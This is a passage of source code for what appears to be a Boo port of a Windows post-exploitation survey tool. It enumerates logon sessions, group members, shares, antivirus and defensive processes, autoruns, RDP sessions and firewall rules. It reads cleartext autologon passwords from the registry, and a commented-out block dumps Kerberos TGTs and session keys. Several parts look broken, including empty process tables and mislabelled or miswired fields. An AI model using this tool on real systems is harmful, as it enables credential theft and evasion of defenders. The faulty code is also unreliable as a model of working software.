// DateTime startTime = DateTime.FromFileTime(CacheResponse.Ticket.StartTime);
// DateTime endTime = DateTime.FromFileTime(CacheResponse.Ticket.EndTime);
// Console.WriteLine("startTime: {0}", startTime);
// Console.WriteLine("endTime: {0}", endTime);
// //// query LSA, specifying we want the ticket cache
// //retCode = LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);
// //// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
// //tickets = (KERB_QUERY_TKT_CACHE_EX_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_EX_RESPONSE));
// //int count = tickets.CountOfTickets;
// //Console.WriteLine(" [*] Returned {0} tickets\r\n", count);
// //// get the size of the structures we're iterating over
// //Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO_EX));
// //for (int i = 0; i < count; i++)
// //{
// // // iterate through the structures
// // IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + i * dataSize)));
// // // parse the new ptr to the appropriate structure
// // ticket = (KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO_EX));
// // // extract our fields
// // string clientName = Marshal.PtrToStringUni(ticket.ClientName.Buffer, ticket.ClientName.Length / 2);
// // string clientRealm = Marshal.PtrToStringUni(ticket.ClientRealm.Buffer, ticket.ClientRealm.Length / 2);
// // string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2);
// // string serverRealm = Marshal.PtrToStringUni(ticket.ServerRealm.Buffer, ticket.ServerRealm.Length / 2);
// // Console.WriteLine("clientName: {0}", clientName);
// // Console.WriteLine("clientRealm: {0}", clientRealm);
// // Console.WriteLine("serverName: {0}", serverName);
// // Console.WriteLine("serverRealm: {0}", serverRealm);
// // DateTime startTime = DateTime.FromFileTime(ticket.StartTime);
// // DateTime endTime = DateTime.FromFileTime(ticket.EndTime);
// // DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime);
// // string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString();
// // string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString();
// //KERB_RETRIEVE_TKT_REQUEST ticketQuery = new KERB_RETRIEVE_TKT_REQUEST();
// //KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE();
// //// input object for querying the ticket cache
// ////ticketQuery.LogonId = new LUID();
// //ticketQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
// //// indicate we want kerb creds yo'
// //ticketQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;
// //ticketQuery.TicketFlags = ticket.TicketFlags;
// ////ticketQuery.TargetName = ticket.ServerName;
// //string targetName2 = "krbtgt/TESTLAB.LOCAL";
// //LSA_STRING_IN LSAString2;
// //LSAString2.Length = (ushort)targetName2.Length;
// //LSAString2.MaximumLength = (ushort)(targetName2.Length + 1);
// //LSAString2.Buffer = targetName2;
// //ticketQuery.TargetName = LSAString2;
// //Console.WriteLine("flags: {0}\r\n", ticket.TicketFlags.ToString("X2"));
// //IntPtr responsePointer = IntPtr.Zero;
// //int returnBufferLength2 = 0;
// //// query LSA, specifying we want the the specified ticket data
// //retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref ticketQuery, Marshal.SizeOf(ticketQuery), out responsePointer, out returnBufferLength2, out protocalStatus);
// //Console.WriteLine("LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT retCode: {0}", retCode);
// //Console.WriteLine("returnBufferLength: {0}", returnBufferLength2);
// //Console.WriteLine("responsePointer: {0}\r\n", responsePointer);
// //// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
// //response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE));
// //KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME));
// //string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();
// //string targetName = "";
// //if (response.Ticket.TargetName != IntPtr.Zero)
// //{
// // KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME));
// // targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();
// //}
// //KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME));
// ////string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
// //string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
// //string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
// //string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim();
// //// extract the session key
// //KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType;
// //Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
// //byte[] sessionKey = new byte[sessionKeyLength];
// //Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
// //string base64SessionKey = Convert.ToBase64String(sessionKey);
// //DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime);
// //DateTime startTime2 = DateTime.FromFileTime(response.Ticket.StartTime);
// //DateTime endTime2 = DateTime.FromFileTime(response.Ticket.EndTime);
// //DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil);
// //Int64 timeSkew = response.Ticket.TimeSkew;
// //Int32 encodedTicketSize = response.Ticket.EncodedTicketSize;
// //string ticketFlags2 = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString();
// //// extract the ticket and base64 encode it
// //byte[] encodedTicket = new byte[encodedTicketSize];
// //Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize);
// //string base64Ticket = Convert.ToBase64String(encodedTicket);
// //Console.WriteLine(" ServiceName : {0}", serviceName);
// //Console.WriteLine(" TargetName : {0}", targetName);
// //Console.WriteLine(" ClientName : {0}", clientName);
// //Console.WriteLine(" DomainName : {0}", domainName);
// //Console.WriteLine(" TargetDomainName : {0}", targetDomainName);
// //Console.WriteLine(" AltTargetDomainName : {0}", altTargetDomainName);
// //Console.WriteLine(" SessionKeyType : {0}", sessionKeyType);
// //Console.WriteLine(" Base64SessionKey : {0}", base64SessionKey);
// //Console.WriteLine(" KeyExpirationTime : {0}", keyExpirationTime);
// //Console.WriteLine(" TicketFlags : {0}", ticketFlags2);
// //Console.WriteLine(" StartTime : {0}", startTime2);
// //Console.WriteLine(" EndTime : {0}", endTime2);
// //Console.WriteLine(" RenewUntil : {0}", renewUntil);
// //Console.WriteLine(" EncodedTicketSize : {0}", encodedTicketSize);
// //Console.WriteLine(" Base64EncodedTicket :\r\n");
// //// display the TGT, columns of 80 chararacters
// //foreach (string line in Split(base64Ticket, 80))
// //{
// // Console.WriteLine(" {0}", line);
// //}
// //Console.WriteLine();
// //}
// // disconnect from LSA
// LsaDeregisterLogonProcess(lsaHandle);
// //}
// //catch (Exception ex)
// //{
// // Console.WriteLine(" [X] Exception: {0}", ex.Message);
// //}
//}
public static def ListLogonSessions():
// https://www.pinvoke.net/default.aspx/secur32.lsalogonuser
// list user logons combined with logon session data via WMI
domain as string
if not IsHighIntegrity():
userDomainRegex = Regex('Domain="(.*)",Name="(.*)"')
logonIdRegex = Regex('LogonId="(\\d+)"')
Console.WriteLine('\r\n\r\n=== Logon Sessions (via WMI) ===\r\n\r\n')
logonMap as Dictionary[of string, (string)] = Dictionary[of string, (string)]()
try:
wmiData = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM Win32_LoggedOnUser')
data as ManagementObjectCollection = wmiData.Get()
for result as ManagementObject in data:
m as Match = logonIdRegex.Match(result['Dependent'].ToString())
if m.Success:
logonId as string = m.Groups[1].ToString()
m2 as Match = userDomainRegex.Match(result['Antecedent'].ToString())
if m2.Success:
domain = m2.Groups[1].ToString()
user as string = m2.Groups[2].ToString()
logonMap.Add(logonId, (of string: domain, user))
wmiData2 = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM Win32_LogonSession')
data2 as ManagementObjectCollection = wmiData2.Get()
for result2 as ManagementObject in data2:
userDomain as (string) = logonMap[result2['LogonId'].ToString()]
domain = userDomain[0]
userName as string = userDomain[1]
startTime as date = System.Management.ManagementDateTimeConverter.ToDateTime(result2['StartTime'].ToString())
logonType as string = String.Format('{0}', (Int32.Parse(result2['LogonType'].ToString()) cast SECURITY_LOGON_TYPE))
Console.WriteLine(' UserName : {0}', userName)
Console.WriteLine(' Domain : {0}', domain)
Console.WriteLine(' LogonId : {0}', result2['LogonId'].ToString())
Console.WriteLine(' LogonType : {0}', logonType)
Console.WriteLine(' AuthenticationPackage : {0}', result2['AuthenticationPackage'].ToString())
Console.WriteLine(' StartTime : {0}\r\n', startTime)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
else:
// heavily adapted from from Jared Hill:
// https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us
Console.WriteLine('\r\n\r\n=== Logon Sessions (via LSA) ===\r\n\r\n')
try:
systime = DateTime(1601, 1, 1, 0, 0, 0, 0)
//win32 systemdate
count as UInt64
luidPtr as IntPtr = IntPtr.Zero
iter as IntPtr = luidPtr
ret as uint = LsaEnumerateLogonSessions(count, luidPtr)
for i in range(0, count):
// get an array of pointers to LUIDs
sessionData as IntPtr
ret = LsaGetLogonSessionData(luidPtr, sessionData)
data__2 = (Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)) cast SECURITY_LOGON_SESSION_DATA)
// if we have a valid logon
if data__2.PSiD != IntPtr.Zero:
// get the account username
username as string = Marshal.PtrToStringUni(data__2.Username.Buffer).Trim()
// convert the security identifier of the user
sid as System.Security.Principal.SecurityIdentifier = System.Security.Principal.SecurityIdentifier(data__2.PSiD)
// domain for this account
domain = Marshal.PtrToStringUni(data__2.LoginDomain.Buffer).Trim()
// authentication package
authpackage as string = Marshal.PtrToStringUni(data__2.AuthenticationPackage.Buffer).Trim()
// logon type
logonType__2 = (data__2.LogonType cast SECURITY_LOGON_TYPE)
// datetime the session was logged in
logonTime as DateTime = systime.AddTicks((data__2.LoginTime cast long))
// user's logon server
logonServer as string = Marshal.PtrToStringUni(data__2.LogonServer.Buffer).Trim()
// logon server's DNS domain
dnsDomainName as string = Marshal.PtrToStringUni(data__2.DnsDomainName.Buffer).Trim()
// user principalname
upn as string = Marshal.PtrToStringUni(data__2.Upn.Buffer).Trim()
Console.WriteLine(' UserName : {0}', username)
Console.WriteLine(' Domain : {0}', domain)
Console.WriteLine(' LogonId : {0}', data__2.LoginID.LowPart)
Console.WriteLine(' UserSID : {0}', sid.AccountDomainSid)
Console.WriteLine(' AuthenticationPackage : {0}', authpackage)
Console.WriteLine(' LogonType : {0}', logonType__2)
Console.WriteLine(' LogonType : {0}', logonTime)
Console.WriteLine(' LogonServer : {0}', logonServer)
Console.WriteLine(' LogonServerDNSDomain : {0}', dnsDomainName)
Console.WriteLine(' UserPrincipalName : {0}\r\n', upn)
// move the pointer forward
luidPtr = (((luidPtr.ToInt64() cast long) + Marshal.SizeOf(typeof(LUID))) cast IntPtr)
LsaFreeReturnBuffer(sessionData)
LsaFreeReturnBuffer(luidPtr)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex)
public static def ListAuditSettings():
Console.WriteLine('\r\n\r\n=== Audit Settings ===\r\n')
settings as Dictionary[of string, object] = GetRegValues('HKLM', 'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit')
if (settings is not null) and (settings.Count != 0):
for kvp as KeyValuePair[of string, object] in settings:
if kvp.Value.GetType().IsArray and (kvp.Value.GetType().GetElementType().ToString() == 'System.String'):
result as string = string.Join(',', (kvp.Value cast (string)))
Console.WriteLine(' {0,-30} : {1}', kvp.Key, result)
else:
Console.WriteLine(' {0,-30} : {1}', kvp.Key, kvp.Value)
public static def ListWEFSettings():
Console.WriteLine('\r\n\r\n=== WEF Settings ===\r\n')
settings as Dictionary[of string, object] = GetRegValues('HKLM', 'Software\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager')
if (settings is not null) and (settings.Count != 0):
for kvp as KeyValuePair[of string, object] in settings:
if kvp.Value.GetType().IsArray and (kvp.Value.GetType().GetElementType().ToString() == 'System.String'):
result as string = string.Join(',', (kvp.Value cast (string)))
Console.WriteLine(' {0,-30} : {1}', kvp.Key, result)
else:
Console.WriteLine(' {0,-30} : {1}', kvp.Key, kvp.Value)
public static def ListLapsSettings():
Console.WriteLine('\r\n\r\n=== LAPS Settings ===\r\n')
AdmPwdEnabled as string = GetRegValue('HKLM', 'Software\\Policies\\Microsoft Services\\AdmPwd', 'AdmPwdEnabled')
if AdmPwdEnabled != '':
Console.WriteLine(' {0,-37} : {1}', 'LAPS Enabled', AdmPwdEnabled)
LAPSAdminAccountName as string = GetRegValue('HKLM', 'Software\\Policies\\Microsoft Services\\AdmPwd', 'AdminAccountName')
Console.WriteLine(' {0,-37} : {1}', 'LAPS Admin Account Name', LAPSAdminAccountName)
LAPSPasswordComplexity as string = GetRegValue('HKLM', 'Software\\Policies\\Microsoft Services\\AdmPwd', 'PasswordComplexity')
Console.WriteLine(' {0,-37} : {1}', 'LAPS Password Complexity', LAPSPasswordComplexity)
LAPSPasswordLength as string = GetRegValue('HKLM', 'Software\\Policies\\Microsoft Services\\AdmPwd', 'PasswordLength')
Console.WriteLine(' {0,-37} : {1}', 'LAPS Password Length', LAPSPasswordLength)
LASPwdExpirationProtectionEnabled as string = GetRegValue('HKLM', 'Software\\Policies\\Microsoft Services\\AdmPwd', 'PwdExpirationProtectionEnabled')
Console.WriteLine(' {0,-37} : {1}', 'LAPS Expiration Protection Enabled', LASPwdExpirationProtectionEnabled)
else:
Console.WriteLine(' [*] LAPS not installed')
public static def ListLocalGroupMembers():
// adapted from https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889
try:
Console.WriteLine('\r\n\r\n=== Local Group Memberships ===\r\n')
// localization for @cnotin ;)
groupsSIDs as (string) = ('S-1-5-32-544', 'S-1-5-32-555', 'S-1-5-32-562', 'S-1-5-32-580')
// Administrators
// RDP
// COM
// Remote Management
for sid as string in groupsSIDs:
groupNameFull as string = TranslateSid(sid)
if string.IsNullOrEmpty(groupNameFull):
// e.g. "S-1-5-32-580" for "Remote Management Users" can be missing on older versions of Windows
Console.WriteLine(' [X] Cannot find SID translation for \'{0}\'', sid)
continue
groupName as string = groupNameFull.Substring((groupNameFull.IndexOf(char('\\')) + 1))
Console.WriteLine(' * {0} *\r\n', groupName)
members as (string) = GetLocalGroupMembers(groupName)
if members is not null:
for member as string in members:
Console.WriteLine(' {0}', member)
Console.WriteLine('')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListMappedDrives():
try:
Console.WriteLine('\r\n\r\n=== Drive Information (via .NET) ===\r\n')
// grab all drive letters
driveInfos as (DriveInfo) = DriveInfo.GetDrives()
Console.WriteLine(' {0,-10} {1}', 'Drive', 'Mapped Location')
for driveInfo as DriveInfo in driveInfos:
// try to resolve each drive to a UNC mapped location
path as string = GetUNCPath(driveInfo.Name)
Console.WriteLine(' {0,-10} : {1}', driveInfo.Name, path)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListWMIMappedDrives():
try:
wmiData = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM win32_networkconnection')
data as ManagementObjectCollection = wmiData.Get()
Console.WriteLine('\r\n\r\n=== Mapped Drives (via WMI) ===\r\n')
for result as ManagementObject in data:
Console.WriteLine(' LocalName : {0}', result['LocalName'])
Console.WriteLine(' RemoteName : {0}', result['RemoteName'])
Console.WriteLine(' RemotePath : {0}', result['RemotePath'])
Console.WriteLine(' Status : {0}', result['Status'])
Console.WriteLine(' ConnectionState : {0}', result['ConnectionState'])
Console.WriteLine(' Persistent : {0}', result['Persistent'])
Console.WriteLine(' UserName : {0}', result['UserName'])
Console.WriteLine(' Description : {0}\r\n', result['Description'])
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListNetworkShares():
// lists current network shares for this system via WMI
try:
wmiData = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM Win32_Share')
data as ManagementObjectCollection = wmiData.Get()
Console.WriteLine('\r\n\r\n=== Network Shares (via WMI) ===\r\n')
for result as ManagementObject in data:
Console.WriteLine(' Name : {0}', result['Name'])
Console.WriteLine(' Path : {0}', result['Path'])
Console.WriteLine(' Description : {0}\r\n', result['Description'])
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListAntiVirusWMI():
// lists installed VA products via WMI (the AntiVirusProduct class)
try:
wmiData = ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntiVirusProduct')
data as ManagementObjectCollection = wmiData.Get()
Console.WriteLine('\r\n\r\n=== Registered Antivirus (via WMI) ===\r\n')
for virusChecker as ManagementObject in data:
Console.WriteLine(' Engine : {0}', virusChecker['displayName'])
Console.WriteLine(' ProductEXE : {0}', virusChecker['pathToSignedProductExe'])
Console.WriteLine(' ReportingEXE : {0}\r\n', virusChecker['pathToSignedReportingExe'])
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListInterestingProcesses():
// TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10
// from https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1#L985-L1033
// TODO: cyberark? other password managers?
OwnerInfo as (string)
defensiveProcesses = Hashtable()
interestingProcesses = Hashtable()
browserProcesses = Hashtable()
try:
wmiQuery as string = string.Format('SELECT * FROM Win32_Process')
searcher = ManagementObjectSearcher(wmiQuery)
retObjectCollection as ManagementObjectCollection = searcher.Get()
Console.WriteLine('\r\n\r\n=== Process Enumerations ===\r\n')
Console.WriteLine(' * Potential Defensive Processes *\r\n')
for Process as ManagementObject in retObjectCollection:
for defensiveProcess as DictionaryEntry in defensiveProcesses:
if Process['Name'].ToString().ToLower() == defensiveProcess.Key.ToString().ToLower():
OwnerInfo = array(string, 2)
Process.InvokeMethod('GetOwner', (OwnerInfo cast (object)))
Console.WriteLine('\tName : {0}', Process['Name'])
Console.WriteLine('\tProduct : {0}', defensiveProcess.Value)
Console.WriteLine('\tProcessID : {0}', Process['ProcessID'])
if OwnerInfo[0] is not null:
Console.WriteLine('\tOwner : {0}\\{1}', OwnerInfo[1], OwnerInfo[0])
else:
Console.WriteLine('\tOwner : ')
Console.WriteLine('\tCommandLine : {0}\r\n', Process['CommandLine'])
Console.WriteLine('\r\n * Browser Processes *\r\n')
for Process as ManagementObject in retObjectCollection:
for browserProcess as DictionaryEntry in browserProcesses:
if Regex.IsMatch(Process['Name'].ToString(), browserProcess.Key.ToString(), RegexOptions.IgnoreCase):
OwnerInfo = array(string, 2)
Process.InvokeMethod('GetOwner', (OwnerInfo cast (object)))
Console.WriteLine('\tName : {0}', Process['Name'])
Console.WriteLine('\tProduct : {0}', browserProcess.Value)
Console.WriteLine('\tProcessID : {0}', Process['ProcessID'])
if OwnerInfo[0] is not null:
Console.WriteLine('\tOwner : {0}\\{1}', OwnerInfo[1], OwnerInfo[0])
else:
Console.WriteLine('\tOwner : ')
Console.WriteLine('\tCommandLine : {0}\r\n', Process['CommandLine'])
Console.WriteLine('\r\n * Other Interesting Processes *\r\n')
for Process as ManagementObject in retObjectCollection:
for interestingProcess as DictionaryEntry in interestingProcesses:
if Regex.IsMatch(Process['Name'].ToString(), interestingProcess.Key.ToString(), RegexOptions.IgnoreCase):
OwnerInfo = array(string, 2)
Process.InvokeMethod('GetOwner', (OwnerInfo cast (object)))
Console.WriteLine('\tName : {0}', Process['Name'])
Console.WriteLine('\tProduct : {0}', interestingProcess.Value)
Console.WriteLine('\tProcessID : {0}', Process['ProcessID'])
if OwnerInfo[0] is not null:
Console.WriteLine('\tOwner : {0}\\{1}', OwnerInfo[1], OwnerInfo[0])
else:
Console.WriteLine('\tOwner : ')
Console.WriteLine('\tCommandLine : {0}\r\n', Process['CommandLine'])
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListRegistryAutoLogon():
Console.WriteLine('\r\n\r\n=== Registry Auto-logon Settings ===\r\n')
DefaultDomainName as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'DefaultDomainName')
if DefaultDomainName != '':
Console.WriteLine(' {0,-23} : {1}', 'DefaultDomainName', DefaultDomainName)
DefaultUserName as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'DefaultUserName')
if DefaultUserName != '':
Console.WriteLine(' {0,-23} : {1}', 'DefaultUserName', DefaultUserName)
DefaultPassword as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'DefaultPassword')
if DefaultPassword != '':
Console.WriteLine(' {0,-23} : {1}', 'DefaultPassword', DefaultPassword)
AltDefaultDomainName as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'AltDefaultDomainName')
if AltDefaultDomainName != '':
Console.WriteLine(' {0,-23} : {1}', 'AltDefaultDomainName', AltDefaultDomainName)
AltDefaultUserName as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'AltDefaultUserName')
if AltDefaultDomainName != '':
Console.WriteLine(' {0,-23} : {1}', 'AltDefaultUserName', AltDefaultUserName)
AltDefaultPassword as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'AltDefaultPassword')
if AltDefaultDomainName != '':
Console.WriteLine(' {0,-23} : {1}', 'AltDefaultPassword', AltDefaultPassword)
public static def ListRegistryAutoRuns():
Console.WriteLine('\r\n\r\n=== Registry Autoruns ===')
autorunLocations as (string) = (of string: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce', 'SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run', 'SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunService', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceService', 'SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService', 'SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService')
for autorunLocation as string in autorunLocations:
settings as Dictionary[of string, object] = GetRegValues('HKLM', autorunLocation)
if (settings is not null) and (settings.Count != 0):
Console.WriteLine('\r\n HKLM:\\{0} :', autorunLocation)
for kvp as KeyValuePair[of string, object] in settings:
Console.WriteLine(' {0}', kvp.Value)
public static def ListRDPSessions():
// adapted from http://www.pinvoke.net/default.aspx/wtsapi32.wtsenumeratesessions
server as IntPtr = IntPtr.Zero
ret as List[of String] = List[of string]()
server = OpenServer('localhost')
Console.WriteLine('\r\n\r\n=== Current Host RDP Sessions (qwinsta) ===\r\n')
try:
ppSessionInfo as IntPtr = IntPtr.Zero
count as Int32 = 0
level as Int32 = 1
retval as Int32 = WTSEnumerateSessionsEx(server, level, 0, ppSessionInfo, count)
dataSize as Int32 = Marshal.SizeOf(typeof(WTS_SESSION_INFO_1))
current = (ppSessionInfo cast Int64)
if retval != 0:
for i in range(0, count):
si = (Marshal.PtrToStructure((current cast System.IntPtr), typeof(WTS_SESSION_INFO_1)) cast WTS_SESSION_INFO_1)
current += dataSize
Console.WriteLine(' SessionID: {0}', si.SessionID)
Console.WriteLine(' SessionName: {0}', si.pSessionName)
Console.WriteLine(' UserName: {0}', si.pUserName)
Console.WriteLine(' DomainName: {0}', si.pDomainName)
Console.WriteLine(' State: {0}', si.State)
// Now use WTSQuerySessionInformation to get the remote IP (if any) for the connection
addressPtr as IntPtr = IntPtr.Zero
bytes as uint = 0
WTSQuerySessionInformation(server, (si.SessionID cast uint), WTS_INFO_CLASS.WTSClientAddress, addressPtr, bytes)
address = (Marshal.PtrToStructure((addressPtr cast System.IntPtr), typeof(WTS_CLIENT_ADDRESS)) cast WTS_CLIENT_ADDRESS)
if address.Address[2] != 0:
sourceIP as string = String.Format('{0}.{1}.{2}.{3}', address.Address[2], address.Address[3], address.Address[4], address.Address[5])
Console.WriteLine(' SourceIP: {0}\r\n', sourceIP)
else:
Console.WriteLine(' SourceIP: \r\n')
WTSFreeMemory(ppSessionInfo)
except ex as Exception:
Console.WriteLine(ex)
ensure:
CloseServer(server)
public static def ListFirewallRules():
// lists local firewall policies and rules
// by default, only "deny" result are output unless "full" is passed
if FilterResults.filter:
Console.WriteLine('\r\n\r\n=== Firewall Rules (Deny) ===\r\n')
else:
Console.WriteLine('\r\n\r\n=== Firewall Rules (All) ===\r\n')
try:
// GUID for HNetCfg.FwPolicy2 COM object
firewall as Type = Type.GetTypeFromCLSID(Guid('E2B3C97F-6AE1-41AC-817A-F6F92166D7DD'))
firewallObj as Object = Activator.CreateInstance(firewall)
types as Object = firewallObj.GetType().InvokeMember('CurrentProfileTypes', BindingFlags.GetProperty, null, firewallObj, null)
Console.WriteLine(' Current Profile(s) : {0}\r\n', (Int32.Parse(types.ToString()) cast FirewallProfiles))
// NET_FW_PROFILE2_DOMAIN = 1, NET_FW_PROFILE2_PRIVATE = 2, NET_FW_PROFILE2_PUBLIC = 4
enabledDomain as Object = firewallObj.GetType().InvokeMember('FirewallEnabled', BindingFlags.GetProperty, null, firewallObj, (of object: 1))
Console.WriteLine(' FirewallEnabled (Domain) : {0}', enabledDomain)
enabledPrivate as Object = firewallObj.GetType().InvokeMember('FirewallEnabled', BindingFlags.GetProperty, null, firewallObj, (of object: 2))
Console.WriteLine(' FirewallEnabled (Private) : {0}', enabledPrivate)
enabledPublic as Object = firewallObj.GetType().InvokeMember('FirewallEnabled', BindingFlags.GetProperty, null, firewallObj, (of object: 4))
Console.WriteLine(' FirewallEnabled (Public) : {0}\r\n', enabledPublic)
// now grab all the rules
rules as Object = firewallObj.GetType().InvokeMember('Rules', BindingFlags.GetProperty, null, firewallObj, null)
// manually get the enumerator() method
enumerator = (rules.GetType().InvokeMember('GetEnumerator', BindingFlags.InvokeMethod, null, rules, null) cast System.Collections.IEnumerator)
// move to the first item
enumerator.MoveNext()
currentItem as Object = enumerator.Current
while currentItem is not null:
// only display enabled rules
Enabled as Object = currentItem.GetType().InvokeMember('Enabled', BindingFlags.GetProperty, null, currentItem, null)
if Enabled.ToString() == 'True':
Action as Object = currentItem.GetType().InvokeMember('Action', BindingFlags.GetProperty, null, currentItem, null)
if (FilterResults.filter and (Action.ToString() == '0')) or (not FilterResults.filter):
// extract all of our fields
Name as Object = currentItem.GetType().InvokeMember('Name', BindingFlags.GetProperty, null, currentItem, null)
Description as Object = currentItem.GetType().InvokeMember('Description', BindingFlags.GetProperty, null, currentItem, null)
Protocol as Object = currentItem.GetType().InvokeMember('Protocol', BindingFlags.GetProperty, null, currentItem, null)
ApplicationName as Object = currentItem.GetType().InvokeMember('ApplicationName', BindingFlags.GetProperty, null, currentItem, null)
LocalAddresses as Object = currentItem.GetType().InvokeMember('LocalAddresses', BindingFlags.GetProperty, null, currentItem, null)
LocalPorts as Object = currentItem.GetType().InvokeMember('LocalPorts', BindingFlags.GetProperty, null, currentItem, null)
RemoteAddresses as Object = currentItem.GetType().InvokeMember('RemoteAddresses', BindingFlags.GetProperty, null, currentItem, null)
RemotePorts as Object = currentItem.GetType().InvokeMember('RemotePorts', BindingFlags.GetProperty, null, currentItem, null)
Direction as Object = currentItem.GetType().InvokeMember('Direction', BindingFlags.GetProperty, null, currentItem, null)
Profiles as Object = currentItem.GetType().InvokeMember('Profiles', BindingFlags.GetProperty, null, currentItem, null)
ruleAction = 'ALLOW'
if Action.ToString() != '1':
ruleAction = 'DENY'
ruleDirection = 'IN'
if Direction.ToString() != '1':
ruleDirection = 'OUT'
ruleProtocol = 'TCP'
if Protocol.ToString() != '6':
ruleProtocol = 'UDP'
// TODO: other protocols!
Console.WriteLine(' Name : {0}', Name)
Console.WriteLine(' Description : {0}', Description)
Console.WriteLine(' ApplicationName : {0}', ApplicationName)
Console.WriteLine(' Protocol : {0}', ruleProtocol)
Console.WriteLine(' Action : {0}', ruleAction)
Console.WriteLine(' Direction : {0}', ruleDirection)
Console.WriteLine(' Profiles : {0}', (Int32.Parse(Profiles.ToString()) cast FirewallProfiles))
Console.WriteLine(' Local Addr:Port : {0}:{1}', LocalAddresses, LocalPorts)
